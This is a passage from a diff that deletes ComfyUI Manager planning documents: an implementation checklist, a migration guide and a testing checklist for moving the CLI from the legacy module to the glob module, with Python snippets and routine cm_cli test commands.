||||
cache.update_metadata(installed_package.id, metadata)
|
||||
```
|
||||
|
||||
#### Testing:
|
||||
- [ ] Test `show installed` (enabled + disabled packages)
|
||||
- [ ] Test `show enabled` (only enabled packages)
|
||||
- [ ] Test `show disabled` (only disabled packages)
|
||||
- [ ] Test unsupported commands show helpful error
|
||||
- [ ] Test `simple-show` variants work correctly
|
||||
- [ ] Test cache functionality (create, read, update)
|
||||
- [ ] Test on-demand CNR info retrieval for cache misses
|
||||
|
||||
### 📝 get_all_installed_node_specs() Update (1 hour)
|
||||
**File**: `cm_cli/__main__.py:573-605`
|
||||
**Complexity**: Medium
|
||||
|
||||
#### Tasks:
|
||||
- [ ] **Rewrite using InstalledNodePackage**
|
||||
```python
|
||||
def get_all_installed_node_specs():
|
||||
res = []
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
for pack in packages:
|
||||
node_spec_str = f"{pack.id}@{pack.version}"
|
||||
res.append(node_spec_str)
|
||||
return res
|
||||
```
|
||||
- [ ] Test with `update all` command
|
||||
- [ ] Verify node spec format is correct
|
||||
|
||||
### ⚙️ Context Management Updates (1 hour)
|
||||
**File**: `cm_cli/__main__.py:117-134`
|
||||
**Complexity**: Low
|
||||
|
||||
#### Tasks:
|
||||
- [ ] **Remove load_nightly() call**
|
||||
```python
|
||||
def set_channel_mode(self, channel, mode):
|
||||
if mode is not None:
|
||||
self.mode = mode
|
||||
if channel is not None:
|
||||
self.channel = channel
|
||||
|
||||
# OLD: asyncio.run(unified_manager.reload(...))
|
||||
# OLD: asyncio.run(unified_manager.load_nightly(...))
|
||||
|
||||
# NEW: Just reload
|
||||
unified_manager.reload()
|
||||
```
|
||||
- [ ] Test channel/mode switching still works
|
||||
|
||||
---
|
||||
|
||||
# 🧹 Phase 3: Feature Removal & Final Testing (1 day)
|
||||
|
||||
## Day 3
|
||||
|
||||
### ❌ Remove Unavailable Features (2 hours)
|
||||
**Complexity**: Low
|
||||
|
||||
#### deps-in-workflow Command Removal:
|
||||
- [ ] **Update deps_in_workflow() function** (`cm_cli/__main__.py:1000-1050`)
|
||||
```python
|
||||
@app.command("deps-in-workflow")
|
||||
def deps_in_workflow(...):
|
||||
print("[bold red]ERROR: This feature is not available in the current version.[/bold red]")
|
||||
print("The 'deps-in-workflow' feature has been removed.")
|
||||
print("Please use alternative workflow analysis tools.")
|
||||
sys.exit(1)
|
||||
```
|
||||
- [ ] Test command shows proper error message
|
||||
- [ ] Update help text to reflect removal
|
||||
|
||||
#### install-deps Command Update:
|
||||
- [ ] **Update install_deps() function** (`cm_cli/__main__.py:1203-1250`)
|
||||
```python
|
||||
# Remove extract_nodes_from_workflow usage (line ~1033)
|
||||
# Replace with error handling or alternative approach
|
||||
```
|
||||
- [ ] Test with dependency files
|
||||
|
||||
### 🧪 Comprehensive Testing (4 hours)
|
||||
|
||||
#### Core Command Testing (2 hours):
|
||||
- [ ] **Install Commands**:
|
||||
- [ ] `install <cnr-package>`
|
||||
- [ ] `install <git-url>`
|
||||
- [ ] `install all` (if applicable)
|
||||
|
||||
- [ ] **Uninstall Commands**:
|
||||
- [ ] `uninstall <package>`
|
||||
- [ ] `uninstall all`
|
||||
|
||||
- [ ] **Enable/Disable Commands**:
|
||||
- [ ] `enable <package>`
|
||||
- [ ] `disable <package>`
|
||||
- [ ] `enable all` / `disable all`
|
||||
|
||||
- [ ] **Update Commands**:
|
||||
- [ ] `update <package>`
|
||||
- [ ] `update all`
|
||||
|
||||
#### Show Commands Testing (1 hour):
|
||||
- [ ] `show installed`
|
||||
- [ ] `show enabled`
|
||||
- [ ] `show disabled`
|
||||
- [ ] `show all`
|
||||
- [ ] `show not-installed`
|
||||
- [ ] `simple-show` variants
|
||||
|
||||
#### Advanced Features Testing (1 hour):
|
||||
- [ ] `save-snapshot`
|
||||
- [ ] `restore-snapshot`
|
||||
- [ ] `show snapshot`
|
||||
- [ ] `show snapshot-list`
|
||||
- [ ] `clear`
|
||||
- [ ] `cli-only-mode`
|
||||
|
||||
### 🐛 Bug Fixes & Polish (2 hours)
|
||||
- [ ] Fix any errors found during testing
|
||||
- [ ] Improve error messages
|
||||
- [ ] Ensure output formatting consistency
|
||||
- [ ] Performance optimization if needed
|
||||
- [ ] Code cleanup and comments
|
||||
|
||||
---
|
||||
|
||||
# 📋 Daily Checklists
|
||||
|
||||
## End of Day 1 Checklist:
|
||||
- [ ] Imports successfully changed
|
||||
- [ ] Basic CLI loading works
|
||||
- [ ] install_node() handles both CNR and Git URLs
|
||||
- [ ] No critical crashes in core functions
|
||||
|
||||
## End of Day 2 Checklist:
|
||||
- [ ] show_list() displays all package types correctly
|
||||
- [ ] get_all_installed_node_specs() works with new data structure
|
||||
- [ ] Context management updated
|
||||
- [ ] Core functionality regression-free
|
||||
|
||||
## End of Day 3 Checklist:
|
||||
- [ ] All CLI commands tested and working
|
||||
- [ ] Removed features show appropriate messages
|
||||
- [ ] Output format acceptable to users
|
||||
- [ ] No glob module modifications made
|
||||
- [ ] Ready for code review
|
||||
|
||||
---
|
||||
|
||||
# 🎯 Success Criteria
|
||||
|
||||
## Must Pass:
|
||||
- [ ] All core commands functional (install/uninstall/enable/disable/update)
|
||||
- [ ] show commands display accurate information
|
||||
- [ ] No modifications to glob module
|
||||
- [ ] CLI code changes < 200 lines
|
||||
- [ ] No critical regressions
|
||||
|
||||
## Bonus Points:
|
||||
- [ ] Output format matches legacy closely
|
||||
- [ ] Performance equals or exceeds legacy
|
||||
- [ ] Error messages user-friendly
|
||||
- [ ] Code is clean and maintainable
|
||||
|
||||
---
|
||||
|
||||
# 🚨 Emergency Contacts & Resources
|
||||
|
||||
## If Stuck:
|
||||
1. **Review**: `CLI_PURE_GLOB_MIGRATION_PLAN.md` for detailed technical specs
|
||||
2. **Reference**: `CLI_IMPLEMENTATION_CONTEXT.md` for current state
|
||||
3. **Debug**: Use `print()` statements to understand data structures
|
||||
4. **Fallback**: Implement minimal working version first, polish later
|
||||
|
||||
## Key Files to Reference:
|
||||
- `comfyui_manager/glob/manager_core.py` - UnifiedManager APIs
|
||||
- `comfyui_manager/common/node_package.py` - InstalledNodePackage class
|
||||
- `comfyui_manager/common/cnr_utils.py` - CNR utilities
|
||||
|
||||
---
|
||||
|
||||
**Remember**: Focus on making it work first, then making it perfect. The constraint is NO glob modifications - CLI must adapt to glob's way of doing things.
|
||||
@@ -1,424 +0,0 @@
|
||||
# CLI Migration Guide: Legacy to Glob Module
|
||||
|
||||
**Status**: ✅ Completed (Historical Reference)
|
||||
**Last Updated**: 2025-08-30
|
||||
**Purpose**: Complete guide for migrating ComfyUI Manager CLI from legacy to glob module
|
||||
|
||||
---
|
||||
|
||||
## 📋 Table of Contents
|
||||
|
||||
1. [Overview](#overview)
|
||||
2. [Legacy vs Glob Comparison](#legacy-vs-glob-comparison)
|
||||
3. [Migration Strategy](#migration-strategy)
|
||||
4. [Implementation Details](#implementation-details)
|
||||
5. [Key Constraints](#key-constraints)
|
||||
6. [API Reference](#api-reference-quick)
|
||||
7. [Rollback Plan](#rollback-plan)
|
||||
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
### Objective
|
||||
Migrate ComfyUI Manager CLI from legacy module to glob module using **only existing glob APIs** without modifying the glob module itself.
|
||||
|
||||
### Scope
|
||||
- **Target File**: `comfyui_manager/cm_cli/__main__.py` (1305 lines)
|
||||
- **Timeline**: 3.5 days
|
||||
- **Approach**: Minimal CLI changes, maximum compatibility
|
||||
- **Constraint**: ❌ NO glob module modifications
|
||||
|
||||
### Current State
|
||||
```python
|
||||
# Current imports (Lines 39-41)
|
||||
from ..legacy import manager_core as core
|
||||
from ..legacy.manager_core import unified_manager
|
||||
|
||||
# Target imports
|
||||
from ..glob import manager_core as core
|
||||
from ..glob.manager_core import unified_manager
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Legacy vs Glob Comparison
|
||||
|
||||
### Core Architecture Differences
|
||||
|
||||
#### Legacy Module (Current)
|
||||
**Data Structure**: Dictionary-based global state
|
||||
```python
|
||||
unified_manager.active_nodes # Active nodes dict
|
||||
unified_manager.unknown_active_nodes # Unknown active nodes
|
||||
unified_manager.cnr_inactive_nodes # Inactive CNR nodes
|
||||
unified_manager.nightly_inactive_nodes # Inactive nightly nodes
|
||||
unified_manager.unknown_inactive_nodes # Unknown inactive nodes
|
||||
unified_manager.cnr_map # CNR info mapping
|
||||
```
|
||||
|
||||
#### Glob Module (Target)
|
||||
**Data Structure**: Object-oriented with InstalledNodePackage
|
||||
```python
|
||||
unified_manager.installed_node_packages # dict[str, list[InstalledNodePackage]]
|
||||
unified_manager.repo_nodepack_map # dict[str, InstalledNodePackage]
|
||||
```
|
||||
|
||||
### Method Compatibility Matrix
|
||||
|
||||
| Method | Legacy | Glob | Status | Action |
|
||||
|--------|--------|------|--------|--------|
|
||||
| `unified_enable()` | ✅ | ✅ | Compatible | Direct mapping |
|
||||
| `unified_disable()` | ✅ | ✅ | Compatible | Direct mapping |
|
||||
| `unified_uninstall()` | ✅ | ✅ | Compatible | Direct mapping |
|
||||
| `unified_update()` | ✅ | ✅ | Compatible | Direct mapping |
|
||||
| `install_by_id()` | Sync | Async | Modified | Use asyncio.run() |
|
||||
| `gitclone_install()` | ✅ | ❌ | Replaced | Use repo_install() |
|
||||
| `get_custom_nodes()` | ✅ | ❌ | Removed | Use cnr_utils |
|
||||
| `load_nightly()` | ✅ | ❌ | Removed | Not needed |
|
||||
| `extract_nodes_from_workflow()` | ✅ | ❌ | Removed | Feature removed |
|
||||
|
||||
### InstalledNodePackage Class
|
||||
|
||||
```python
|
||||
@dataclass
|
||||
class InstalledNodePackage:
|
||||
id: str # Package identifier
|
||||
fullpath: str # Full filesystem path
|
||||
disabled: bool # Disabled status
|
||||
version: str # Version (nightly/unknown/x.y.z)
|
||||
repo_url: str = None # Repository URL
|
||||
|
||||
# Properties
|
||||
@property
|
||||
def is_unknown(self) -> bool: return self.version == "unknown"
|
||||
|
||||
@property
|
||||
def is_nightly(self) -> bool: return self.version == "nightly"
|
||||
|
||||
@property
|
||||
def is_from_cnr(self) -> bool: return not (self.is_unknown or self.is_nightly)
|
||||
|
||||
@property
|
||||
def is_enabled(self) -> bool: return not self.disabled
|
||||
|
||||
@property
|
||||
def is_disabled(self) -> bool: return self.disabled
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Migration Strategy
|
||||
|
||||
### Phase 1: Setup (0.5 day)
|
||||
**Goal**: Basic migration with error identification
|
||||
|
||||
1. **Import Path Changes**
|
||||
```python
|
||||
# Change 2 lines
|
||||
from ..glob import manager_core as core
|
||||
from ..glob.manager_core import unified_manager
|
||||
```
|
||||
|
||||
2. **Initial Testing**
|
||||
- Run basic commands
|
||||
- Identify breaking changes
|
||||
- Document errors
|
||||
|
||||
3. **Error Analysis**
|
||||
- List all affected functions
|
||||
- Categorize by priority
|
||||
- Plan fixes
|
||||
|
||||
### Phase 2: Core Implementation (2 days)
|
||||
**Goal**: Adapt CLI to glob architecture
|
||||
|
||||
1. **install_node() Updates**
|
||||
```python
|
||||
# Replace gitclone_install with repo_install
|
||||
if unified_manager.is_url_like(node_spec_str):
|
||||
res = asyncio.run(unified_manager.repo_install(
|
||||
node_spec_str,
|
||||
os.path.basename(node_spec_str),
|
||||
instant_execution=True,
|
||||
no_deps=cmd_ctx.no_deps
|
||||
))
|
||||
```
|
||||
|
||||
2. **show_list() Rewrite** (Most complex change)
|
||||
- Migrate from dictionary-based to InstalledNodePackage-based
|
||||
- Implement installed-only approach with optional CNR lookup
|
||||
- See [show_list() Implementation](#show_list-implementation) section
|
||||
|
||||
3. **Context Management**
|
||||
- Update get_all_installed_node_specs()
|
||||
- Adapt to new data structures
|
||||
|
||||
4. **Data Structure Migration**
|
||||
- Replace all active_nodes references
|
||||
- Use installed_node_packages instead
|
||||
|
||||
### Phase 3: Final Testing (1 day)
|
||||
**Goal**: Comprehensive validation
|
||||
|
||||
1. **Feature Removal**
|
||||
- Remove deps-in-workflow (not supported)
|
||||
- Stub unsupported features
|
||||
|
||||
2. **Testing**
|
||||
- Test all CLI commands
|
||||
- Verify output format
|
||||
- Check edge cases
|
||||
|
||||
3. **Polish**
|
||||
- Fix bugs
|
||||
- Improve error messages
|
||||
- Update help text
|
||||
|
||||
---
|
||||
|
||||
## Implementation Details
|
||||
|
||||
### show_list() Implementation
|
||||
|
||||
**Challenge**: Legacy uses multiple dictionaries, glob uses single InstalledNodePackage collection
|
||||
|
||||
**Solution**: Installed-only approach with on-demand CNR lookup
|
||||
|
||||
```python
|
||||
def show_list(kind: str, simple: bool = False):
|
||||
"""
|
||||
Display node package list
|
||||
|
||||
Args:
|
||||
kind: 'installed', 'enabled', 'disabled', 'all'
|
||||
simple: If True, show simple format
|
||||
"""
|
||||
|
||||
# Get all installed packages
|
||||
all_packages = []
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
all_packages.extend(packages)
|
||||
|
||||
# Filter by kind
|
||||
if kind == "enabled":
|
||||
packages = [p for p in all_packages if p.is_enabled]
|
||||
elif kind == "disabled":
|
||||
packages = [p for p in all_packages if p.is_disabled]
|
||||
elif kind == "installed" or kind == "all":
|
||||
packages = all_packages
|
||||
else:
|
||||
print(f"Unknown kind: {kind}")
|
||||
return
|
||||
|
||||
# Display
|
||||
if simple:
|
||||
for pkg in packages:
|
||||
print(pkg.id)
|
||||
else:
|
||||
# Detailed display with CNR info on-demand
|
||||
for pkg in packages:
|
||||
status = "disabled" if pkg.disabled else "enabled"
|
||||
version_info = f"v{pkg.version}" if pkg.version != "unknown" else "unknown"
|
||||
|
||||
print(f"[{status}] {pkg.id} ({version_info})")
|
||||
|
||||
# Optionally fetch CNR info for non-nightly packages
|
||||
if pkg.is_from_cnr and not simple:
|
||||
cnr_info = cnr_utils.get_nodepackage(pkg.id)
|
||||
if cnr_info:
|
||||
print(f" Description: {cnr_info.get('description', 'N/A')}")
|
||||
```
|
||||
|
||||
**Key Changes**:
|
||||
1. Single source of truth: `installed_node_packages`
|
||||
2. No separate active/inactive dictionaries
|
||||
3. On-demand CNR lookup instead of pre-cached cnr_map
|
||||
4. Filter by InstalledNodePackage properties
|
||||
|
||||
### Git Installation Migration
|
||||
|
||||
**Before (Legacy)**:
|
||||
```python
|
||||
if core.is_valid_url(node_spec_str):
|
||||
res = asyncio.run(core.gitclone_install(
|
||||
node_spec_str,
|
||||
no_deps=cmd_ctx.no_deps
|
||||
))
|
||||
```
|
||||
|
||||
**After (Glob)**:
|
||||
```python
|
||||
if unified_manager.is_url_like(node_spec_str):
|
||||
res = asyncio.run(unified_manager.repo_install(
|
||||
node_spec_str,
|
||||
os.path.basename(node_spec_str), # repo_path derived from URL
|
||||
instant_execution=True, # Execute immediately
|
||||
no_deps=cmd_ctx.no_deps # Respect --no-deps flag
|
||||
))
|
||||
```
|
||||
|
||||
### Async Function Handling
|
||||
|
||||
**Pattern**: Wrap async glob methods with asyncio.run()
|
||||
|
||||
```python
|
||||
# install_by_id is async in glob
|
||||
res = asyncio.run(unified_manager.install_by_id(
|
||||
packname=node_name,
|
||||
version_spec=version,
|
||||
instant_execution=True,
|
||||
no_deps=cmd_ctx.no_deps
|
||||
))
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Key Constraints
|
||||
|
||||
### Hard Constraints (Cannot Change)
|
||||
1. ❌ **No glob module modifications**
|
||||
- Cannot add new methods to UnifiedManager
|
||||
- Cannot add compatibility properties
|
||||
- Must use existing APIs only
|
||||
|
||||
2. ❌ **No legacy dependencies**
|
||||
- CLI must work without legacy module
|
||||
- Clean break from old architecture
|
||||
|
||||
3. ❌ **Maintain CLI interface**
|
||||
- Command syntax unchanged
|
||||
- Output format similar (minor differences acceptable)
|
||||
|
||||
### Soft Constraints (Acceptable Trade-offs)
|
||||
1. ✅ **Feature removal acceptable**
|
||||
- deps-in-workflow feature can be removed
|
||||
- Channel/mode support can be simplified
|
||||
|
||||
2. ✅ **Performance trade-offs acceptable**
|
||||
- On-demand CNR lookup vs pre-cached
|
||||
- Slight performance degradation acceptable
|
||||
|
||||
3. ✅ **Output format flexibility**
|
||||
- Minor formatting differences acceptable
|
||||
- Must remain readable and useful
|
||||
|
||||
---
|
||||
|
||||
## API Reference (Quick)
|
||||
|
||||
### UnifiedManager Core Methods
|
||||
|
||||
```python
|
||||
# Installation
|
||||
async def install_by_id(packname, version_spec, instant_execution, no_deps) -> ManagedResult
|
||||
|
||||
# Git/URL installation
|
||||
async def repo_install(url, repo_path, instant_execution, no_deps) -> ManagedResult
|
||||
|
||||
# Enable/Disable
|
||||
def unified_enable(packname, version_spec=None) -> ManagedResult
|
||||
def unified_disable(packname) -> ManagedResult
|
||||
|
||||
# Update/Uninstall
|
||||
def unified_update(packname, instant_execution, no_deps) -> ManagedResult
|
||||
def unified_uninstall(packname) -> ManagedResult
|
||||
|
||||
# Query
|
||||
def get_active_pack(packname) -> InstalledNodePackage | None
|
||||
def get_inactive_pack(packname, version_spec) -> InstalledNodePackage | None
|
||||
def resolve_node_spec(packname, guess_mode) -> NodeSpec
|
||||
|
||||
# Utility
|
||||
def is_url_like(text) -> bool
|
||||
```
|
||||
|
||||
### Data Access
|
||||
|
||||
```python
|
||||
# Installed packages
|
||||
unified_manager.installed_node_packages: dict[str, list[InstalledNodePackage]]
|
||||
|
||||
# Repository mapping
|
||||
unified_manager.repo_nodepack_map: dict[str, InstalledNodePackage]
|
||||
```
|
||||
|
||||
### External Utilities
|
||||
|
||||
```python
|
||||
# CNR utilities
|
||||
from ..common import cnr_utils
|
||||
cnr_utils.get_nodepackage(id) -> dict
|
||||
cnr_utils.get_all_nodepackages() -> list[dict]
|
||||
```
|
||||
|
||||
For complete API reference, see [CLI_API_REFERENCE.md](CLI_API_REFERENCE.md)
|
||||
|
||||
---
|
||||
|
||||
## Rollback Plan
|
||||
|
||||
### If Migration Fails
|
||||
|
||||
1. **Immediate Rollback** (< 5 minutes)
|
||||
```python
|
||||
# Revert imports in __main__.py
|
||||
from ..legacy import manager_core as core
|
||||
from ..legacy.manager_core import unified_manager
|
||||
```
|
||||
|
||||
2. **Verify Rollback**
|
||||
```bash
|
||||
# Test basic commands
|
||||
cm-cli show installed
|
||||
cm-cli install <package>
|
||||
```
|
||||
|
||||
3. **Document Issues**
|
||||
- Note what failed
|
||||
- Gather error logs
|
||||
- Plan fixes
|
||||
|
||||
### Risk Mitigation
|
||||
|
||||
1. **Backup**: Keep legacy module available
|
||||
2. **Testing**: Comprehensive test suite before deployment
|
||||
3. **Staging**: Test in non-production environment first
|
||||
4. **Monitoring**: Watch for errors after deployment
|
||||
|
||||
---
|
||||
|
||||
## Success Criteria
|
||||
|
||||
### Must Pass (Blockers)
|
||||
- ✅ All core commands functional (install, update, enable, disable, uninstall)
|
||||
- ✅ Package information displays correctly
|
||||
- ✅ No glob module modifications
|
||||
- ✅ No critical regressions
|
||||
|
||||
### Should Pass (Important)
|
||||
- ✅ Output format similar to legacy
|
||||
- ✅ Performance comparable to legacy
|
||||
- ✅ User-friendly error messages
|
||||
- ✅ Help text updated
|
||||
|
||||
### Nice to Have
|
||||
- ✅ Improved code structure
|
||||
- ✅ Better error handling
|
||||
- ✅ Type hints added
|
||||
|
||||
---
|
||||
|
||||
## Reference Documents
|
||||
|
||||
- **[CLI_API_REFERENCE.md](CLI_API_REFERENCE.md)** - Complete API documentation
|
||||
- **[CLI_IMPLEMENTATION_CHECKLIST.md](CLI_IMPLEMENTATION_CHECKLIST.md)** - Step-by-step tasks
|
||||
- **[CLI_TESTING_GUIDE.md](CLI_TESTING_GUIDE.md)** - Testing strategy
|
||||
|
||||
---
|
||||
|
||||
## Conclusion
|
||||
|
||||
The CLI migration from legacy to glob module is achievable through systematic adaptation of CLI code to glob's object-oriented architecture. The key is respecting the constraint of no glob modifications while leveraging existing glob APIs effectively.
|
||||
|
||||
**Status**: This migration has been completed successfully. The CLI now uses glob module exclusively.
|
||||
@@ -1,407 +0,0 @@
|
||||
# CLI Migration Testing Checklist
|
||||
|
||||
## 🧪 Testing Strategy Overview
|
||||
**Approach**: Progressive testing at each implementation phase
|
||||
**Tools**: Manual CLI testing, comparison with legacy behavior
|
||||
**Environment**: ComfyUI development environment with test packages
|
||||
|
||||
---
|
||||
|
||||
# 📋 Phase 1 Testing (Import Changes)
|
||||
|
||||
## ✅ Basic CLI Loading (Must Pass)
|
||||
```bash
|
||||
# Test CLI loads without import errors
|
||||
python -m comfyui_manager.cm_cli --help
|
||||
python -m comfyui_manager.cm_cli help
|
||||
|
||||
# Expected: CLI help displays, no ImportError exceptions
|
||||
```
|
||||
|
||||
## ✅ Simple Command Smoke Tests
|
||||
```bash
|
||||
# Commands that should work immediately
|
||||
python -m comfyui_manager.cm_cli show snapshot
|
||||
python -m comfyui_manager.cm_cli clear
|
||||
|
||||
# Expected: Commands execute, may show different output but no crashes
|
||||
```
|
||||
|
||||
## 🐛 Error Identification
|
||||
- [ ] Document all import-related errors
|
||||
- [ ] Identify which functions fail immediately
|
||||
- [ ] Note any missing attributes/methods used by CLI
|
||||
- [ ] List functions that need immediate attention
|
||||
|
||||
**Pass Criteria**: CLI loads and basic commands don't crash
|
||||
|
||||
---
|
||||
|
||||
# 🔧 Phase 2 Testing (Core Functions)
|
||||
|
||||
## 🚀 Install Command Testing
|
||||
|
||||
### CNR Package Installation
|
||||
```bash
|
||||
# Test CNR package installation
|
||||
python -m comfyui_manager.cm_cli install ComfyUI-Manager
|
||||
python -m comfyui_manager.cm_cli install <known-cnr-package>
|
||||
|
||||
# Expected behaviors:
|
||||
# - Package resolves correctly
|
||||
# - Installation proceeds
|
||||
# - Success/failure message displayed
|
||||
# - Package appears in enabled state
|
||||
```
|
||||
**Test Cases**:
|
||||
- [ ] Install new CNR package
|
||||
- [ ] Install already-installed package (should skip)
|
||||
- [ ] Install non-existent package (should error gracefully)
|
||||
- [ ] Install with `--no-deps` flag
|
||||
|
||||
### Git URL Installation
|
||||
```bash
|
||||
# Test Git URL installation
|
||||
python -m comfyui_manager.cm_cli install https://github.com/user/repo.git
|
||||
python -m comfyui_manager.cm_cli install https://github.com/user/repo
|
||||
|
||||
# Expected behaviors:
|
||||
# - URL detected as Git repository
|
||||
# - repo_install() method called
|
||||
# - Installation proceeds or fails gracefully
|
||||
```
|
||||
**Test Cases**:
|
||||
- [ ] Install from Git URL with .git suffix
|
||||
- [ ] Install from Git URL without .git suffix
|
||||
- [ ] Install from invalid Git URL (should error)
|
||||
- [ ] Install from private repository (may fail gracefully)
|
||||
|
||||
## 📊 Show Commands Testing
|
||||
|
||||
### Show Installed/Enabled
|
||||
```bash
|
||||
python -m comfyui_manager.cm_cli show installed
|
||||
python -m comfyui_manager.cm_cli show enabled
|
||||
|
||||
# Expected: List of enabled packages with:
|
||||
# - Package names
|
||||
# - Version information
|
||||
# - Author/publisher info where available
|
||||
# - Correct status indicators
|
||||
```
|
||||
|
||||
### Show Disabled/Not-Installed
|
||||
```bash
|
||||
python -m comfyui_manager.cm_cli show disabled
|
||||
python -m comfyui_manager.cm_cli show not-installed
|
||||
|
||||
# Expected: Appropriate package lists with status
|
||||
```
|
||||
|
||||
### Show All & Simple Mode
|
||||
```bash
|
||||
python -m comfyui_manager.cm_cli show all
|
||||
python -m comfyui_manager.cm_cli simple-show all
|
||||
|
||||
# Expected: Comprehensive package list
|
||||
# Simple mode should show condensed format
|
||||
```
|
||||
|
||||
**Detailed Test Matrix**:
|
||||
- [ ] `show installed` - displays all installed packages
|
||||
- [ ] `show enabled` - displays only enabled packages
|
||||
- [ ] `show disabled` - displays only disabled packages
|
||||
- [ ] `show not-installed` - displays available but not installed packages
|
||||
- [ ] `show all` - displays comprehensive list
|
||||
- [ ] `show cnr` - displays CNR packages only
|
||||
- [ ] `simple-show` variants - condensed output format
|
||||
|
||||
**Validation Criteria**:
|
||||
- [ ] Package counts make sense (enabled + disabled = installed)
|
||||
- [ ] CNR packages show publisher information
|
||||
- [ ] Nightly packages marked appropriately
|
||||
- [ ] Unknown packages handled correctly
|
||||
- [ ] No crashes with empty package sets
|
||||
|
||||
## ⚙️ Management Commands Testing
|
||||
|
||||
### Enable/Disable Commands
|
||||
```bash
|
||||
# Enable disabled package
|
||||
python -m comfyui_manager.cm_cli disable <package-name>
|
||||
python -m comfyui_manager.cm_cli show disabled # Should appear
|
||||
python -m comfyui_manager.cm_cli enable <package-name>
|
||||
python -m comfyui_manager.cm_cli show enabled # Should appear
|
||||
|
||||
# Test edge cases
|
||||
python -m comfyui_manager.cm_cli enable <already-enabled-package> # Should skip
|
||||
python -m comfyui_manager.cm_cli disable <non-existent-package> # Should error
|
||||
```
|
||||
|
||||
**Test Cases**:
|
||||
- [ ] Enable disabled package
|
||||
- [ ] Disable enabled package
|
||||
- [ ] Enable already-enabled package (skip)
|
||||
- [ ] Disable already-disabled package (skip)
|
||||
- [ ] Enable non-existent package (error)
|
||||
- [ ] Disable non-existent package (error)
|
||||
|
||||
### Uninstall Commands
|
||||
```bash
|
||||
# Uninstall package
|
||||
python -m comfyui_manager.cm_cli uninstall <test-package>
|
||||
python -m comfyui_manager.cm_cli show installed # Should not appear
|
||||
|
||||
# Test variations
|
||||
python -m comfyui_manager.cm_cli uninstall <package>@unknown
|
||||
```
|
||||
|
||||
**Test Cases**:
|
||||
- [ ] Uninstall CNR package
|
||||
- [ ] Uninstall nightly package
|
||||
- [ ] Uninstall unknown package
|
||||
- [ ] Uninstall non-existent package (should error gracefully)
|
||||
|
||||
### Update Commands
|
||||
```bash
|
||||
# Update specific package
|
||||
python -m comfyui_manager.cm_cli update <package-name>
|
||||
|
||||
# Update all packages
|
||||
python -m comfyui_manager.cm_cli update all
|
||||
```
|
||||
|
||||
**Test Cases**:
|
||||
- [ ] Update single package
|
||||
- [ ] Update all packages
|
||||
- [ ] Update non-existent package (should error)
|
||||
- [ ] Update already up-to-date package (should skip)
|
||||
|
||||
## 🗃️ Advanced Function Testing
|
||||
|
||||
### get_all_installed_node_specs()
|
||||
```bash
|
||||
# This function is used internally by update/enable/disable "all" commands
|
||||
python -m comfyui_manager.cm_cli update all
|
||||
python -m comfyui_manager.cm_cli enable all
|
||||
python -m comfyui_manager.cm_cli disable all
|
||||
|
||||
# Expected: Commands process all installed packages
|
||||
```
|
||||
|
||||
**Validation**:
|
||||
- [ ] "all" commands process expected number of packages
|
||||
- [ ] Package specs format correctly (name@version)
|
||||
- [ ] No duplicates in package list
|
||||
- [ ] All package types included (CNR, nightly, unknown)
|
||||
|
||||
---
|
||||
|
||||
# 🧹 Phase 3 Testing (Feature Removal & Polish)
|
||||
|
||||
## ❌ Removed Feature Testing
|
||||
|
||||
### deps-in-workflow Command
|
||||
```bash
|
||||
python -m comfyui_manager.cm_cli deps-in-workflow workflow.json deps.json
|
||||
|
||||
# Expected: Clear error message explaining feature removal
|
||||
# Should NOT crash or show confusing errors
|
||||
```
|
||||
|
||||
### install-deps Command (if affected)
|
||||
```bash
|
||||
python -m comfyui_manager.cm_cli install-deps deps.json
|
||||
|
||||
# Expected: Either works with alternative implementation or shows clear error
|
||||
```
|
||||
|
||||
**Validation**:
|
||||
- [ ] Error messages are user-friendly
|
||||
- [ ] No stack traces for removed features
|
||||
- [ ] Help text updated to reflect changes
|
||||
- [ ] Alternative solutions mentioned where applicable
|
||||
|
||||
## 📸 Snapshot Functionality
|
||||
|
||||
### Save/Restore Snapshots
|
||||
```bash
|
||||
# Save snapshot
|
||||
python -m comfyui_manager.cm_cli save-snapshot test-snapshot.json
|
||||
ls snapshots/ # Should show new snapshot
|
||||
|
||||
# Restore snapshot
|
||||
python -m comfyui_manager.cm_cli restore-snapshot test-snapshot.json
|
||||
```
|
||||
|
||||
**Test Cases**:
|
||||
- [ ] Save snapshot to default location
|
||||
- [ ] Save snapshot to custom path
|
||||
- [ ] Restore snapshot successfully
|
||||
- [ ] Handle invalid snapshot files gracefully
|
||||
|
||||
### Snapshot Display
|
||||
```bash
|
||||
python -m comfyui_manager.cm_cli show snapshot
|
||||
python -m comfyui_manager.cm_cli show snapshot-list
|
||||
```
|
||||
|
||||
**Validation**:
|
||||
- [ ] Current state displayed correctly
|
||||
- [ ] Snapshot list shows available snapshots
|
||||
- [ ] JSON format valid and readable
|
||||
|
||||
---
|
||||
|
||||
# 🎯 Comprehensive Integration Testing
|
||||
|
||||
## 🔄 End-to-End Workflows
|
||||
|
||||
### Complete Package Lifecycle
|
||||
```bash
|
||||
# 1. Install package
|
||||
python -m comfyui_manager.cm_cli install <test-package>
|
||||
|
||||
# 2. Verify installation
|
||||
python -m comfyui_manager.cm_cli show enabled | grep <test-package>
|
||||
|
||||
# 3. Disable package
|
||||
python -m comfyui_manager.cm_cli disable <test-package>
|
||||
|
||||
# 4. Verify disabled
|
||||
python -m comfyui_manager.cm_cli show disabled | grep <test-package>
|
||||
|
||||
# 5. Re-enable package
|
||||
python -m comfyui_manager.cm_cli enable <test-package>
|
||||
|
||||
# 6. Update package
|
||||
python -m comfyui_manager.cm_cli update <test-package>
|
||||
|
||||
# 7. Uninstall package
|
||||
python -m comfyui_manager.cm_cli uninstall <test-package>
|
||||
|
||||
# 8. Verify removal
|
||||
python -m comfyui_manager.cm_cli show installed | grep <test-package> # Should be empty
|
||||
```
|
||||
|
||||
### Batch Operations
|
||||
```bash
|
||||
# Install multiple packages
|
||||
python -m comfyui_manager.cm_cli install package1 package2 package3
|
||||
|
||||
# Disable all packages
|
||||
python -m comfyui_manager.cm_cli disable all
|
||||
|
||||
# Enable all packages
|
||||
python -m comfyui_manager.cm_cli enable all
|
||||
|
||||
# Update all packages
|
||||
python -m comfyui_manager.cm_cli update all
|
||||
```
|
||||
|
||||
## 🚨 Error Condition Testing
|
||||
|
||||
### Network/Connectivity Issues
|
